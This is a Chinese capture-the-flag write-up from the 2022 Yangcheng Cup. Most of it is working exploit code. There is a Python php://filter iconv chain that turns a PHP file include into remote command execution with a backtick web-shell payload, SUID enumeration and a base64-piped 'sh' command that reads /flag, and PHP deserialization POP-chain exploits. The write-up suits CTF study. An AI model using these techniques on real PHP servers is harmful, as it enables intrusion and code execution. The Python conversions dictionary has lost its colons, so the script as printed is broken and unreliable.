2022年羊城杯网络安全大赛Writeup

WriteUp 2年前 (2022) admin
1,649 0 0

Web

1.rce_me

题目直接给出了源代码

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var)bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

看到代码中include $file;,就想起了hxp 的一道题Solving “includer’s revenge” from hxp ctf 2021 without controlling any files,有师傅也给出了具体的详细分析,见hxp CTF 2021 – The End Of LFI?

但是题目环境没有忽略报错,所以直接打文章中的exp,有两个问题:

1.代码中过滤了_,文章中的exp payload带4(对应的转换语句带_),因此攻击的payload最终会有_

...
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
# 有_
....

2.由于include php代码,且环境没有忽略报错,那么我们就应该对后面乱码进行注释。

# <?=`$_GET[0]`;;/*
base64_payload = "PD89YCRfR0VUWzBdYDs7Lyo"

上述代码解决了什么问题呢?可以简单理解为:

  1. 避免了4,因为他对应的转换带_
  2. 注释了后面形成乱码的PHP代码

原文中由于没有Lyo这三个字符对应的形成转换语句,所以借助PHP_INCLUDE_TO_SHELL_CHAR_DICT这个项目,项目将单字母数字基本都fuzz到了。根据以上我们可构造rce payload

import requests

url = "http://80.endpoint-f0cb7de3c6d445ca9916505908395850.dasc.buuoj.cn:81/"
file_to_use = "/etc/passwd"
command = "ls /"

#<?=`$_GET[0]`;;/*
base64_payload = "PD89YCRfR0VUWzBdYDs7Lyo"

conversions = {
    'R''convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B''convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C''convert.iconv.UTF8.CSISO2022KR',
    '8''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0''convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y''convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W''convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd''convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D''convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7''convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    'L''convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'y''convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'o''convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

#print(final_payload)
r = requests.get(url, params={
    "0": command,
    "file": final_payload
})

print(r.text)
2022年羊城杯网络安全大赛Writeup

但这题后面还得绕,默认是www-data权限,首先想到的就是SUID提权

/?file=final_payload&0=find+/+-user+root+-perm+-4000+-print
/bin/su
/bin/umount
/bin/mount
/bin/date # 可读文件
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd

注:final_payload是上面python脚本生成的

因为脚本过滤了>等特殊字符,所以我们通过base64编码绕过

这里要绕>等特殊字符的原因是,date -f /flag 提取flag是通过标准错误输出 -> 2打印的,请求响应不显示。所以我们错误输出转标准输出,既2>&1

ouo@GOTA:~$ echo "date -f /flag 2>&1" | base64
ZGF0ZSAtZiAvZmxhZyAyPiYxCg==
ouo@GOTA:~$ echo ZGF0ZSAtZiAvZmxhZyAyPiYxCg==|base64 -d
date -f /flag 2>&1
ouo@GOTA:~$ echo ZGF0ZSAtZiAvZmxhZyAyPiYxCg==|base64 -d | sh
date: invalid date ‘Tao By ACT.’
ouo@GOTA:~$
2022年羊城杯网络安全大赛Writeup

有关SUID读取文件小技巧可看:GTFOBins

综上所述,最终获取flag的payload如下:

/?file=final_payload&0=echo+ZGF0ZSAtZiAvZmxhZyAyPiYxCg==|base64+-d|sh 
2022年羊城杯网络安全大赛Writeup

2.step_by_step-v3

存在反序列化

2022年羊城杯网络安全大赛Writeup

入口在cheng::__wakeup()

$this->c1 指向 new bei() 可以调用bei类的__set()魔术方法
2022年羊城杯网络安全大赛Writeup
$this->b1 指向new yang() 可以调用yang类的__toString()魔术方法
2022年羊城杯网络安全大赛Writeup
$this->y1可控,这里可以执行phpinfo函数
2022年羊城杯网络安全大赛Writeup

构造exp如下

<?php
error_reporting("0");
class cheng
{
    public $c1;
 
 public function __construct(){
  $this->c1 = new bei();
 }

}

class bei
{
    public $b1;
    public $b2;
 
 public function __construct(){
  $this->b1 = new yang();
 }

}

class yang{
 public $y1;
 public $y2;
 public function __construct(){
  $this->y1 = "phpinfo";
 }
}

$o = new cheng();
echo serialize($o);
?>

将exp生成的payload放入POST传输,在phpinfo里面可以看到flag

2022年羊城杯网络安全大赛Writeup

3.Safepop

简单的pop链构造

Test::getFlag()->Fun::__call(绕__wakeup) -> A::__get() -> B::__destruct()
# A->a = Fun()
# B->a = A()

# __call 通过call_user_func_array调用数组传参 -> Fun->func=[new Test,'getFlag']
<?php
class Fun{
    private $func;
    public function __construct(){
        $this->func = [new Test,'getFlag']; // or $this->func = "Test::getFlag"
    }
}

class Test{
    public function getFlag(){
    }
}

class A{
    public $a;
}

class B{
    public $p;
}

$T = new Test();
$F = new Fun();
$a = new A();
$b = new B();
$a->a = $F;
$b->a = $a;

$aser = serialize($b);
$ser = str_replace('"Fun":1:','"Fun":2:',$aser);
echo urlencode($ser);

后面发现除了常规思路,还有别的。而且是原题?,具体见文章:利用PHP垃圾回收机制构造POP链 ?

文章中另一种思路是利用垃圾回收机制

# chao code.
<?php
class B{
    public $p;
    public function __construct(){
        $this->a = new A();
    }
}

class A{
    public $a;
    public function __construct(){
        $this->a = new Fun();
    }
}

class Fun{
    private $func = 'call_user_func_array';
    public function __construct()
    
{
        $this->func ="Test::getFlag";
    }
}
$o = array(new B, new B);
$tmp = "i:0;".serialize(new B);
$a =  serialize($o);
$z = str_replace($tmp,$tmp." ",$a);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$z));

更多详情参考如下:

如何攻破PHP的垃圾回收和反序列化机制(上)

如何攻破PHP的垃圾回收和反序列化机制(下)

Misc

签个到

Ciphey

Ciphey安装报错解决

⚡ Automatically decrypt encryptions without knowing the key or cipher, decode encodings, and crack hashes ⚡

Tao in ~Downloads λ ciphey.exe -f .26.txt -C regex -p regex.regex=flag
╭────────────────────────────────────────────────────────────╮
│ Formats used:                                          │
│    caesar:                                                 │
│     Key: 13                                                │
│    base32                                                  │
│    utf8Plaintext: "flag{5dcf3d3407891ba725ffd13224de5435}" │
╰────────────────────────────────────────────────────────────╯

where_is_secret

 ciphey.exe -f .vig.txt
# 跑了半个小时,发现key->gwhtgwht,还有个密码,但密码不对

two years later……

尝试使用key->gwht, 维吉尼亚解密

2022年羊城杯网络安全大赛Writeup

哎哎哎,就是玩。猜的很开心?

解压出bmp后,根据题目给的hint,在网上找到解密脚本(图片藏小说。。。)

https://blog.csdn.net/weixin_54581900/article/details/122740876

运行解密后,文本是自卑与超越

2022年羊城杯网络安全大赛Writeup

发现小说中穿插着flag,two years later…

根据混杂穿插特征手动得到flag为h1d3_1n_th3_p1ctur3

End…

最后最后,如果你对CTF比赛也有兴趣,欢迎加入我们!!!

有意向的师傅可以公众号后台回复ACT联系我们。


原文始发于微信公众号(ACT Team):2022年羊城杯网络安全大赛Writeup

版权声明:admin 发表于 2022年9月4日 下午4:15。
转载请注明:2022年羊城杯网络安全大赛Writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...